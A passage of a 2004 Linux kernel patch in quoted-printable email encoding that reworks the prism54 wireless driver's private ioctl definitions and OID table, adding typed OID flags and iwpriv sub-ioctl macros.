SIOCIWFIRSTPRIV+3 +#define PRISM54_ADD_MAC SIOCIWFIRSTPRIV+4 + +#define PRISM54_DEL_MAC SIOCIWFIRSTPRIV+6 =20 -#define PRISM54_DEL_MAC SIOCIWFIRSTPRIV+8 +#define PRISM54_KICK_MAC SIOCIWFIRSTPRIV+8 =20 -#define PRISM54_KICK_MAC SIOCIWFIRSTPRIV+10 +#define PRISM54_KICK_ALL SIOCIWFIRSTPRIV+10 =20 -#define PRISM54_KICK_ALL SIOCIWFIRSTPRIV+12 +#define PRISM54_GET_WPA SIOCIWFIRSTPRIV+11 +#define PRISM54_SET_WPA SIOCIWFIRSTPRIV+12 =20 -#define PRISM54_GET_WPA SIOCIWFIRSTPRIV+13 -#define PRISM54_SET_WPA SIOCIWFIRSTPRIV+14 +#define PRISM54_DBG_OID SIOCIWFIRSTPRIV+14 +#define PRISM54_DBG_GET_OID SIOCIWFIRSTPRIV+15 +#define PRISM54_DBG_SET_OID SIOCIWFIRSTPRIV+16 =20 -#define PRISM54_OID SIOCIWFIRSTPRIV+16 -#define PRISM54_GET_OID SIOCIWFIRSTPRIV+17 -#define PRISM54_SET_OID SIOCIWFIRSTPRIV+18 +#define PRISM54_GET_OID SIOCIWFIRSTPRIV+17 +#define PRISM54_SET_OID_U32 SIOCIWFIRSTPRIV+18 +#define PRISM54_SET_OID_STR SIOCIWFIRSTPRIV+20 +#define PRISM54_SET_OID_ADDR SIOCIWFIRSTPRIV+22 + +#define IWPRIV_SET_U32(n,x) { n, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1= , 0, "set_"x } +#define IWPRIV_SET_SSID(n,x) { n, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } +#define IWPRIV_SET_ADDR(n,x) { n, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } +#define IWPRIV_GET(n,x) { n, 0, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | P= RIV_STR_SIZE, "get_"x } + +#define IWPRIV_U32(n,x) IWPRIV_SET_U32(n,x), IWPRIV_GET(n,x) +#define IWPRIV_SSID(n,x) IWPRIV_SET_SSID(n,x), IWPRIV_GET(n,x) +#define IWPRIV_ADDR(n,x) IWPRIV_SET_ADDR(n,x), IWPRIV_GET(n,x) + + +/* Note : limited to 128 private ioctls */ =20 static const struct iw_priv_args prism54_private_args[] =3D { /*{ cmd, set_args, get_args, name } */ {PRISM54_RESET, 0, 0, "reset"}, - {PRISM54_GET_BEACON, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, - "getBeaconPeriod"}, - {PRISM54_SET_BEACON, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, - "setBeaconPeriod"}, {PRISM54_GET_POLICY, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "getPolicy"}, {PRISM54_SET_POLICY, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, @@ -2172,15 +2204,77 @@ "get_wpa"}, {PRISM54_SET_WPA, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "set_wpa"}, - {PRISM54_OID, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "oid"}, - {PRISM54_GET_OID, 0, IW_PRIV_TYPE_BYTE | 256, "get_oid"}, - {PRISM54_SET_OID, IW_PRIV_TYPE_BYTE | 256, 0, "set_oid"}, + {PRISM54_DBG_OID, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, + "dbg_oid"}, + {PRISM54_DBG_GET_OID, 0, IW_PRIV_TYPE_BYTE | 256, "dbg_get_oid"}, + {PRISM54_DBG_SET_OID, IW_PRIV_TYPE_BYTE | 256, 0, "dbg_get_oid"}, + /* --- sub-ioctls handlers --- */ + {PRISM54_GET_OID, + 0, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | PRIV_STR_SIZE, ""}, + {PRISM54_SET_OID_U32, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, ""}, + {PRISM54_SET_OID_STR, + IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | 1, 0, ""}, + {PRISM54_SET_OID_ADDR, + IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, ""}, + /* --- sub-ioctls definitions --- */ + IWPRIV_ADDR(GEN_OID_MACADDRESS, "addr"), + IWPRIV_GET(GEN_OID_LINKSTATE, "linkstate"), + IWPRIV_U32(DOT11_OID_BSSTYPE, "bsstype"), + IWPRIV_ADDR(DOT11_OID_BSSID, "bssid"), + IWPRIV_U32(DOT11_OID_STATE, "state"), + IWPRIV_U32(DOT11_OID_AID, "aid"), + + IWPRIV_SSID(DOT11_OID_SSIDOVERRIDE, "ssidoverride"), + + IWPRIV_U32(DOT11_OID_MEDIUMLIMIT, "medlimit"), + IWPRIV_U32(DOT11_OID_BEACONPERIOD, "beacon"), + IWPRIV_U32(DOT11_OID_DTIMPERIOD, "dtimperiod"), + + IWPRIV_U32(DOT11_OID_AUTHENABLE, "authenable"), + IWPRIV_U32(DOT11_OID_PRIVACYINVOKED, "privinvok"), + IWPRIV_U32(DOT11_OID_EXUNENCRYPTED, "exunencrypt"), +=09 + IWPRIV_U32(DOT11_OID_REKEYTHRESHOLD, "rekeythresh"), + + IWPRIV_U32(DOT11_OID_MAXTXLIFETIME, "maxtxlife"), + IWPRIV_U32(DOT11_OID_MAXRXLIFETIME, "maxrxlife"), + IWPRIV_U32(DOT11_OID_ALOFT_FIXEDRATE, "fixedrate"), + IWPRIV_U32(DOT11_OID_MAXFRAMEBURST, "frameburst"), + IWPRIV_U32(DOT11_OID_PSM, "psm"), + + IWPRIV_U32(DOT11_OID_BRIDGELOCAL, "bridge"), + IWPRIV_U32(DOT11_OID_CLIENTS, "clients"), + IWPRIV_U32(DOT11_OID_CLIENTSASSOCIATED, "clientassoc"), + IWPRIV_U32(DOT11_OID_DOT1XENABLE, "dot1xenable"), + IWPRIV_U32(DOT11_OID_ANTENNARX, "rxant"), + IWPRIV_U32(DOT11_OID_ANTENNATX, "txant"), + IWPRIV_U32(DOT11_OID_ANTENNADIVERSITY, "antdivers"), + IWPRIV_U32(DOT11_OID_EDTHRESHOLD, "edthresh"), + IWPRIV_U32(DOT11_OID_PREAMBLESETTINGS, "preamble"), + IWPRIV_GET(DOT11_OID_RATES, "rates"), + IWPRIV_U32(DOT11_OID_OUTPUTPOWER, ".11outpower"), + IWPRIV_GET(DOT11_OID_SUPPORTEDRATES, "supprates"), + IWPRIV_GET(DOT11_OID_SUPPORTEDFREQUENCIES, "suppfreq"), + + IWPRIV_U32(DOT11_OID_NOISEFLOOR, "noisefloor"), + IWPRIV_GET(DOT11_OID_FREQUENCYACTIVITY, "freqactivity"), + IWPRIV_U32(DOT11_OID_NONERPPROTECTION, "nonerpprotec"), + IWPRIV_U32(DOT11_OID_PROFILES, "profile"), + IWPRIV_GET(DOT11_OID_EXTENDEDRATES,"extrates"), + IWPRIV_U32(DOT11_OID_MLMEAUTOLEVEL, "mlmelevel"), + + IWPRIV_GET(DOT11_OID_BSSS, "bsss"), + IWPRIV_GET(DOT11_OID_BSSLIST, "bsslist"), + IWPRIV_U32(OID_INL_MODE, "mode"), + IWPRIV_U32(OID_INL_CONFIG, "config"), + IWPRIV_U32(OID_INL_DOT11D_CONFORMANCE, ".11dconform"), + IWPRIV_GET(OID_INL_PHYCAPABILITIES, "phycapa"), + IWPRIV_U32(OID_INL_OUTPUTPOWER, "outpower"), }; =20 static const iw_handler prism54_private_handler[] =3D { (iw_handler) prism54_reset, - (iw_handler) prism54_get_beacon, - (iw_handler) prism54_set_beacon, (iw_handler) prism54_get_policy, (iw_handler) prism54_set_policy, (iw_handler) prism54_get_mac, @@ -2194,9 +2288,16 @@ (iw_handler) prism54_get_wpa, (iw_handler) prism54_set_wpa, (iw_handler) NULL, - (iw_handler) prism54_oid, + (iw_handler) prism54_debug_oid, + (iw_handler) prism54_debug_get_oid, + (iw_handler) prism54_debug_set_oid, (iw_handler) prism54_get_oid, - (iw_handler) prism54_set_oid, + (iw_handler) prism54_set_u32, + (iw_handler) NULL, + (iw_handler) prism54_set_raw, + (iw_handler) NULL, + (iw_handler) prism54_set_raw, + }; =20 const struct iw_handler_def prism54_handler_def =3D { @@ -2209,3 +2310,18 @@ .private_args =3D (struct iw_priv_args *) prism54_private_args, }; =20 +/* These ioctls won't work with the new API */ + +int +prism54_ioctl(struct net_device *ndev, struct ifreq *rq, int cmd) +{ + /*struct iwreq *wrq =3D (struct iwreq *) rq; + islpci_private *priv =3D netdev_priv(ndev); + int ret =3D 0; + + switch (cmd) { + + } + */ + return -EOPNOTSUPP; +} Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_oid.h,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 9 Mar 2004 09:05= :27 -0000 1.3 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 18 Mar 2004 11:1= 6:23 -0000 1.4 @@ -1,8 +1,9 @@ /* - * $Id: isl_oid.h,v 1.3 2004/03/09 09:05:27 mcgrof Exp $ + * $Id: isl_oid.h,v 1.4 2004/03/18 11:16:23 ajfa Exp $ * =20 * Copyright (C) 2003 Herbert Valerio Riedel * Copyright (C) 2004 Luis R. Rodriguez + * Copyright (C) 2004 Aur=E9lien Alleaume * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -457,16 +458,29 @@ OID_NUM_LAST }; =20 -/* We could add more flags. eg: in which mode are they allowed, ro, rw, .= ..*/ -#define OID_FLAG_CACHED 0x01 -#define OID_FLAG_U32 0x02 -#define OID_FLAG_MLMEEX 0x04 /* this type is special because of a variable - size field when sending. Not yet implemented (not used in driver). = */ +#define OID_FLAG_CACHED 0x80 +#define OID_FLAG_TYPE 0x7f + +#define OID_TYPE_U32 0x01 +#define OID_TYPE_SSID 0x02 +#define OID_TYPE_KEY 0x03 +#define OID_TYPE_BUFFER 0x04 +#define OID_TYPE_BSS 0x05 +#define OID_TYPE_BSSLIST 0x06 +#define OID_TYPE_FREQUENCIES 0x07 +#define OID_TYPE_MLME 0x08 +#define OID_TYPE_MLMEEX 0x09 +#define OID_TYPE_ADDR 0x0A +#define OID_TYPE_RAW 0x0B + +/* OID_TYPE_MLMEEX is special because of a variable size field when sendin= g. + * Not yet implemented (not used in driver anyway). + */ =20 struct oid_t { enum oid_num_t oid; short range; /* to define a range of oid */ - short size; /* size of the associated data */ + short size; /* max size of the associated data */ char flags; }; =20 @@ -478,6 +492,7 @@ #define IWMAX_BITRATES 20 #define IWMAX_BSS 24 #define IWMAX_FREQ 30 +#define PRIV_STR_SIZE 1024 =20 #endif /* !defined(_ISL_OID_H) */ /* EOF */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v retrieving revision 1.54 retrieving revision 1.55 diff -u -r1.54 -r1.55 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 0= 5:25:24 -0000 1.54 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 1:16:23 -0000 1.55 @@ -1,8 +1,9 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.53 2004/02/28 0= 3:06:07 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.55 2004/03/18 1= 1:16:23 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc.=20 * Copyright (C) 2003 Herbert Valerio Riedel * Copyright (C) 2003 Luis R. Rodriguez + * Copyright (C) 2003 Aurelien Alleaume * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.7 retrieving revision 1.8 diff -u -r1.7 -r1.8 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 9 Mar 2004 09:05= :27 -0000 1.7 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 18 Mar 2004 11:1= 6:23 -0000 1.8 @@ -1,5 +1,5 @@ /* =20 - * Copyright (C) 2003 Aurelien Alleaume + * Copyright (C) 2003,2004 Aurelien Alleaume * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -31,182 +31,189 @@ 5240, 5260, 5280, 5300, 5320 }; =20 -#define OID_U32(x) {x, 0, sizeof(u32), OID_FLAG_U32} -#define OID_U32_C(x) {x, 0, sizeof(u32), OID_FLAG_U32 | OID_FLAG_CACHED} -#define OID_STRUCT(x,s) {x, 0, sizeof(s), 0} -#define OID_STRUCT_C(x,s) {x, 0, sizeof(s), OID_FLAG_CACHED} -#define OID_STRUCT_MLME(x){x, 0, sizeof(struct obj_mlme), 0} -#define OID_STRUCT_MLMEEX(x){x, 0, sizeof(struct obj_mlmeex), OID_FLAG_MLM= EEX} +#define OID_STRUCT(name,oid,s,t) [name] =3D {oid, 0, sizeof(s), t} +#define OID_STRUCT_C(name,oid,s,t) OID_STRUCT(name,oid,s,t | OID_FLAG_CACH= ED) +#define OID_U32(name,oid) OID_STRUCT(name,oid,u32,OID_TYPE_U32) +#define OID_U32_C(name,oid) OID_STRUCT_C(name,oid,u32,OID_TYPE_U32) +#define OID_STRUCT_MLME(name,oid) OID_STRUCT(name,oid,struct obj_mlme,OID_= TYPE_MLME) +#define OID_STRUCT_MLMEEX(name,oid) OID_STRUCT(name,oid,struct obj_mlmeex,= OID_TYPE_MLMEEX) =20 -#define OID_UNKNOWN(x) {x, 0, 0, 0} +#define OID_UNKNOWN(name,oid) OID_STRUCT(name,oid,0,0) =20 struct oid_t isl_oid[] =3D { - [GEN_OID_MACADDRESS] =3D OID_STRUCT(0x00000000, u8[6]), - [GEN_OID_LINKSTATE] =3D OID_U32(0x00000001), - [GEN_OID_WATCHDOG] =3D OID_UNKNOWN(0x00000002), - [GEN_OID_MIBOP] =3D OID_UNKNOWN(0x00000003), - [GEN_OID_OPTIONS] =3D OID_UNKNOWN(0x00000004), - [GEN_OID_LEDCONFIG] =3D OID_UNKNOWN(0x00000005), + OID_STRUCT(GEN_OID_MACADDRESS, 0x00000000, u8[6], OID_TYPE_ADDR), + OID_U32(GEN_OID_LINKSTATE, 0x00000001), + OID_UNKNOWN(GEN_OID_WATCHDOG, 0x00000002), + OID_UNKNOWN(GEN_OID_MIBOP, 0x00000003), + OID_UNKNOWN(GEN_OID_OPTIONS, 0x00000004), + OID_UNKNOWN(GEN_OID_LEDCONFIG, 0x00000005), =20 /* 802.11 */ - [DOT11_OID_BSSTYPE] =3D OID_U32_C(0x10000000), - [DOT11_OID_BSSID] =3D OID_STRUCT_C(0x10000001, u8[6]), - [DOT11_OID_SSID] =3D OID_STRUCT_C(0x10000002, struct obj_ssid), - [DOT11_OID_STATE] =3D OID_U32(0x10000003), - [DOT11_OID_AID] =3D OID_U32(0x10000004), - [DOT11_OID_COUNTRYSTRING] =3D OID_STRUCT(0x10000005, u8[4]), - [DOT11_OID_SSIDOVERRIDE] =3D OID_STRUCT_C(0x10000006, struct obj_ssid), - - [DOT11_OID_MEDIUMLIMIT] =3D OID_U32(0x11000000), - [DOT11_OID_BEACONPERIOD] =3D OID_U32_C(0x11000001), - [DOT11_OID_DTIMPERIOD] =3D OID_U32(0x11000002), - [DOT11_OID_ATIMWINDOW] =3D OID_U32(0x11000003), - [DOT11_OID_LISTENINTERVAL] =3D OID_U32(0x11000004), - [DOT11_OID_CFPPERIOD] =3D OID_U32(0x11000005), - [DOT11_OID_CFPDURATION] =3D OID_U32(0x11000006), - - [DOT11_OID_AUTHENABLE] =3D OID_U32_C(0x12000000), - [DOT11_OID_PRIVACYINVOKED] =3D OID_U32_C(0x12000001), - [DOT11_OID_EXUNENCRYPTED] =3D OID_U32_C(0x12000002), - [DOT11_OID_DEFKEYID] =3D OID_U32_C(0x12000003), - [DOT11_OID_DEFKEYX] =3D {0x12000004, 3, sizeof (struct obj_key), OID_FLAG= _CACHED}, /* DOT11_OID_DEFKEY1,...DOT11_OID_DEFKEY4 */ - [DOT11_OID_STAKEY] =3D OID_UNKNOWN(0x12000008), - [DOT11_OID_REKEYTHRESHOLD] =3D OID_U32(0x12000009), - [DOT11_OID_STASC] =3D OID_UNKNOWN(0x1200000a), - - [DOT11_OID_PRIVTXREJECTED] =3D OID_U32(0x1a000000), - [DOT11_OID_PRIVRXPLAIN] =3D OID_U32(0x1a000001), - [DOT11_OID_PRIVRXFAILED] =3D OID_U32(0x1a000002), - [DOT11_OID_PRIVRXNOKEY] =3D OID_U32(0x1a000003), - - [DOT11_OID_RTSTHRESH] =3D OID_U32_C(0x13000000), - [DOT11_OID_FRAGTHRESH] =3D OID_U32_C(0x13000001), - [DOT11_OID_SHORTRETRIES] =3D OID_U32_C(0x13000002), - [DOT11_OID_LONGRETRIES] =3D OID_U32_C(0x13000003), - [DOT11_OID_MAXTXLIFETIME] =3D OID_U32_C(0x13000004), - [DOT11_OID_MAXRXLIFETIME] =3D OID_U32(0x13000005), - [DOT11_OID_AUTHRESPTIMEOUT] =3D OID_U32(0x13000006), - [DOT11_OID_ASSOCRESPTIMEOUT] =3D OID_U32(0x13000007), - - [DOT11_OID_ALOFT_TABLE] =3D OID_UNKNOWN(0x1d000000), - [DOT11_OID_ALOFT_CTRL_TABLE] =3D OID_UNKNOWN(0x1d000001), - [DOT11_OID_ALOFT_RETREAT] =3D OID_UNKNOWN(0x1d000002), - [DOT11_OID_ALOFT_PROGRESS] =3D OID_UNKNOWN(0x1d000003), - [DOT11_OID_ALOFT_FIXEDRATE] =3D OID_U32(0x1d000004), - [DOT11_OID_ALOFT_RSSIGRAPH] =3D OID_UNKNOWN(0x1d000005), - [DOT11_OID_ALOFT_CONFIG] =3D OID_UNKNOWN(0x1d000006), + OID_U32_C(DOT11_OID_BSSTYPE, 0x10000000), + OID_STRUCT_C(DOT11_OID_BSSID, 0x10000001, u8[6], OID_TYPE_SSID), + OID_STRUCT_C(DOT11_OID_SSID, 0x10000002, struct obj_ssid, + OID_TYPE_SSID), + OID_U32(DOT11_OID_STATE, 0x10000003), + OID_U32(DOT11_OID_AID, 0x10000004), + OID_STRUCT(DOT11_OID_COUNTRYSTRING, 0x10000005, u8[4], OID_TYPE_RAW), + OID_STRUCT_C(DOT11_OID_SSIDOVERRIDE, 0x10000006, struct obj_ssid, + OID_TYPE_SSID), + + OID_U32(DOT11_OID_MEDIUMLIMIT, 0x11000000), + OID_U32_C(DOT11_OID_BEACONPERIOD, 0x11000001), + OID_U32(DOT11_OID_DTIMPERIOD, 0x11000002), + OID_U32(DOT11_OID_ATIMWINDOW, 0x11000003), + OID_U32(DOT11_OID_LISTENINTERVAL, 0x11000004), + OID_U32(DOT11_OID_CFPPERIOD, 0x11000005), + OID_U32(DOT11_OID_CFPDURATION, 0x11000006), + + OID_U32_C(DOT11_OID_AUTHENABLE, 0x12000000), + OID_U32_C(DOT11_OID_PRIVACYINVOKED, 0x12000001), + OID_U32_C(DOT11_OID_EXUNENCRYPTED, 0x12000002), + OID_U32_C(DOT11_OID_DEFKEYID, 0x12000003), + [DOT11_OID_DEFKEYX] =3D {0x12000004, 3, sizeof (struct obj_key), + OID_FLAG_CACHED | OID_TYPE_KEY}, /* DOT11_OID_DEFKEY1,...DOT11_O= ID_DEFKEY4 */ + OID_UNKNOWN(DOT11_OID_STAKEY, 0x12000008), + OID_U32(DOT11_OID_REKEYTHRESHOLD, 0x12000009), + OID_UNKNOWN(DOT11_OID_STASC, 0x1200000a), + + OID_U32(DOT11_OID_PRIVTXREJECTED, 0x1a000000), + OID_U32(DOT11_OID_PRIVRXPLAIN, 0x1a000001), + OID_U32(DOT11_OID_PRIVRXFAILED, 0x1a000002), + OID_U32(DOT11_OID_PRIVRXNOKEY, 0x1a000003), + + OID_U32_C(DOT11_OID_RTSTHRESH, 0x13000000), + OID_U32_C(DOT11_OID_FRAGTHRESH, 0x13000001), + OID_U32_C(DOT11_OID_SHORTRETRIES, 0x13000002), + OID_U32_C(DOT11_OID_LONGRETRIES, 0x13000003), + OID_U32_C(DOT11_OID_MAXTXLIFETIME, 0x13000004), + OID_U32(DOT11_OID_MAXRXLIFETIME, 0x13000005), + OID_U32(DOT11_OID_AUTHRESPTIMEOUT, 0x13000006), + OID_U32(DOT11_OID_ASSOCRESPTIMEOUT, 0x13000007), + + OID_UNKNOWN(DOT11_OID_ALOFT_TABLE, 0x1d000000), + OID_UNKNOWN(DOT11_OID_ALOFT_CTRL_TABLE, 0x1d000001), + OID_UNKNOWN(DOT11_OID_ALOFT_RETREAT, 0x1d000002), + OID_UNKNOWN(DOT11_OID_ALOFT_PROGRESS, 0x1d000003), + OID_U32(DOT11_OID_ALOFT_FIXEDRATE, 0x1d000004), + OID_UNKNOWN(DOT11_OID_ALOFT_RSSIGRAPH, 0x1d000005), + OID_UNKNOWN(DOT11_OID_ALOFT_CONFIG, 0x1d000006), =20 [DOT11_OID_VDCFX] =3D {0x1b000000, 7, 0, 0}, - [DOT11_OID_MAXFRAMEBURST] =3D OID_U32(0x1b000008), /* in microseconds */ + OID_U32(DOT11_OID_MAXFRAMEBURST, 0x1b000008), =20 - [DOT11_OID_PSM] =3D OID_U32(0x14000000), - [DOT11_OID_CAMTIMEOUT] =3D OID_U32(0x14000001), - [DOT11_OID_RECEIVEDTIMS] =3D OID_U32(0x14000002), - [DOT11_OID_ROAMPREFERENCE] =3D OID_U32(0x14000003), - - [DOT11_OID_BRIDGELOCAL] =3D OID_U32(0x15000000), - [DOT11_OID_CLIENTS] =3D OID_U32(0x15000001), - [DOT11_OID_CLIENTSASSOCIATED] =3D OID_U32(0x15000002), + OID_U32(DOT11_OID_PSM, 0x14000000), + OID_U32(DOT11_OID_CAMTIMEOUT, 0x14000001), + OID_U32(DOT11_OID_RECEIVEDTIMS, 0x14000002), + OID_U32(DOT11_OID_ROAMPREFERENCE, 0x14000003), + + OID_U32(DOT11_OID_BRIDGELOCAL, 0x15000000), + OID_U32(DOT11_OID_CLIENTS, 0x15000001), + OID_U32(DOT11_OID_CLIENTSASSOCIATED, 0x15000002), [DOT11_OID_CLIENTX] =3D {0x15000003, 2006, 0, 0}, /* DOT11_OID_CLIENTX,..= .DOT11_OID_CLIENT2007 */ =20 - [DOT11_OID_CLIENTFIND] =3D OID_STRUCT(0x150007DB, u8[6]), - [DOT11_OID_WDSLINKADD] =3D OID_STRUCT(0x150007DC, u8[6]), - [DOT11_OID_WDSLINKREMOVE] =3D OID_STRUCT(0x150007DD, u8[6]), - [DOT11_OID_EAPAUTHSTA] =3D OID_STRUCT(0x150007DE, u8[6]), - [DOT11_OID_EAPUNAUTHSTA] =3D OID_STRUCT(0x150007DF, u8[6]), - [DOT11_OID_DOT1XENABLE] =3D OID_U32_C(0x150007E0), - [DOT11_OID_MICFAILURE] =3D OID_UNKNOWN(0x150007E1), - [DOT11_OID_REKEYINDICATE] =3D OID_UNKNOWN(0x150007E2), - - [DOT11_OID_MPDUTXSUCCESSFUL] =3D OID_U32(0x16000000), - [DOT11_OID_MPDUTXONERETRY] =3D OID_U32(0x16000001), - [DOT11_OID_MPDUTXMULTIPLERETRIES] =3D OID_U32(0x16000002), - [DOT11_OID_MPDUTXFAILED] =3D OID_U32(0x16000003), - [DOT11_OID_MPDURXSUCCESSFUL] =3D OID_U32(0x16000004), - [DOT11_OID_MPDURXDUPS] =3D OID_U32(0x16000005), - [DOT11_OID_RTSSUCCESSFUL] =3D OID_U32(0x16000006), - [DOT11_OID_RTSFAILED] =3D OID_U32(0x16000007), - [DOT11_OID_ACKFAILED] =3D OID_U32(0x16000008), - [DOT11_OID_FRAMERECEIVES] =3D OID_U32(0x16000009), - [DOT11_OID_FRAMEERRORS] =3D OID_U32(0x1600000A), - [DOT11_OID_FRAMEABORTS] =3D OID_U32(0x1600000B), - [DOT11_OID_FRAMEABORTSPHY] =3D OID_U32(0x1600000C), - - [DOT11_OID_SLOTTIME] =3D OID_U32(0x17000000), - [DOT11_OID_CWMIN] =3D OID_U32(0x17000001), - [DOT11_OID_CWMAX] =3D OID_U32(0x17000002), - [DOT11_OID_ACKWINDOW] =3D OID_U32(0x17000003), - [DOT11_OID_ANTENNARX] =3D OID_U32(0x17000004), - [DOT11_OID_ANTENNATX] =3D OID_U32(0x17000005), - [DOT11_OID_ANTENNADIVERSITY] =3D OID_U32(0x17000006), - [DOT11_OID_CHANNEL] =3D OID_U32_C(0x17000007), - [DOT11_OID_EDTHRESHOLD] =3D OID_U32_C(0x17000008), - [DOT11_OID_PREAMBLESETTINGS] =3D OID_U32(0x17000009), - [DOT11_OID_RATES] =3D OID_STRUCT(0x1700000A, u8[IWMAX_BITRATES + 1]), - [DOT11_OID_CCAMODESUPPORTED] =3D OID_U32(0x1700000B), - [DOT11_OID_CCAMODE] =3D OID_U32(0x1700000C), - [DOT11_OID_RSSIVECTOR] =3D OID_U32(0x1700000D), - [DOT11_OID_OUTPUTPOWERTABLE] =3D OID_U32(0x1700000E), - [DOT11_OID_OUTPUTPOWER] =3D OID_U32_C(0x1700000F), - [DOT11_OID_SUPPORTEDRATES] =3D - OID_STRUCT(0x17000010, u8[IWMAX_BITRATES + 1]), - [DOT11_OID_FREQUENCY] =3D OID_U32_C(0x17000011), - [DOT11_OID_SUPPORTEDFREQUENCIES] =3D {0x17000012, 0, sizeof (struct - obj_frequencies) - + sizeof (u16) * IWMAX_FREQ, 0}, - - [DOT11_OID_NOISEFLOOR] =3D OID_U32(0x17000013), - [DOT11_OID_FREQUENCYACTIVITY] =3D - OID_STRUCT(0x17000014, u8[IWMAX_FREQ + 1]), - [DOT11_OID_IQCALIBRATIONTABLE] =3D OID_UNKNOWN(0x17000015), - [DOT11_OID_NONERPPROTECTION] =3D OID_U32(0x17000016), - [DOT11_OID_SLOTSETTINGS] =3D OID_U32(0x17000017), - [DOT11_OID_NONERPTIMEOUT] =3D OID_U32(0x17000018), - [DOT11_OID_PROFILES] =3D OID_U32(0x17000019), - [DOT11_OID_EXTENDEDRATES] =3D - OID_STRUCT(0x17000020, u8[IWMAX_BITRATES + 1]), - - [DOT11_OID_DEAUTHENTICATE] =3D OID_STRUCT_MLME(0x18000000), - [DOT11_OID_AUTHENTICATE] =3D OID_STRUCT_MLME(0x18000001), - [DOT11_OID_DISASSOCIATE] =3D OID_STRUCT_MLME(0x18000002), - [DOT11_OID_ASSOCIATE] =3D OID_STRUCT_MLME(0x18000003), - [DOT11_OID_SCAN] =3D OID_UNKNOWN(0x18000004), - [DOT11_OID_BEACON] =3D OID_STRUCT_MLMEEX(0x18000005), - [DOT11_OID_PROBE] =3D OID_STRUCT_MLMEEX(0x18000006), - [DOT11_OID_DEAUTHENTICATEEX] =3D OID_STRUCT_MLMEEX(0x18000007), - [DOT11_OID_AUTHENTICATEEX] =3D OID_STRUCT_MLMEEX(0x18000008), - [DOT11_OID_DISASSOCIATEEX] =3D OID_STRUCT_MLMEEX(0x18000009), - [DOT11_OID_ASSOCIATEEX] =3D OID_STRUCT_MLMEEX(0x1800000A), - [DOT11_OID_REASSOCIATE] =3D OID_STRUCT_MLMEEX(0x1800000B), - [DOT11_OID_REASSOCIATEEX] =3D OID_STRUCT_MLMEEX(0x1800000C), - - [DOT11_OID_NONERPSTATUS] =3D OID_U32(0x1E000000), - - [DOT11_OID_STATIMEOUT] =3D OID_U32(0x19000000), - [DOT11_OID_MLMEAUTOLEVEL] =3D OID_U32_C(0x19000001), - [DOT11_OID_BSSTIMEOUT] =3D OID_U32(0x19000002), - [DOT11_OID_ATTACHMENT] =3D OID_UNKNOWN(0x19000003), - [DOT11_OID_PSMBUFFER] =3D OID_STRUCT_C(0x19000004, struct obj_buffer), - - [DOT11_OID_BSSS] =3D OID_U32(0x1C000000), - [DOT11_OID_BSSX] =3D {0x1C000001, 63, sizeof (struct obj_bss), 0}, /*DOT1= 1_OID_BSS1,...,DOT11_OID_BSS64 */ - [DOT11_OID_BSSFIND] =3D OID_STRUCT(0x1C000042, 